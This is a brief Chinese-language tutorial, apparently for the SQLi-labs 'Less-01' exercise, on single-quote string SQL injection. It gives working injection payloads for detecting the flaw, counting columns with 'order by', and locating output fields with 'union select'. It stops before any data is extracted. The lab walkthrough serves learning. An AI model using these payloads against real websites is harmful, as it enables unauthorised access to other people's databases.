less01基于单引号的字符型注入

1、判断注入点

输入?id=1'发现报错语句:

  1. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

取出''1'' LIMIT 0,1'分析可知SQL查询语句为
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
然后尝试闭合,尝试输入?id=1' and 1=1 --+发现页面正常;
尝试输入?id=1' and 1=2 --+发现页面正常无报错,但是查询不到信息;

表示存在注入点,注入语句为

  1. id=1' and 1=1 -- -

2、判断表有多少列,超出列数会报错

输入id=1' order by 3 -- -页面正常;
输入id=1' order by 4 -- -报错:超出列数;

所以该页面输出内容有三项(表名有三列);

3、判断数据显示点 (注意id一定要改为0或负数)

使用语句?id=0' union select 1,2,3 --+发现注入位置
image.png
表明2,3的位置可以输出SQL语句查询的内容

4、在输出SQL语句查询内容的位置可以查询数据库相关内容。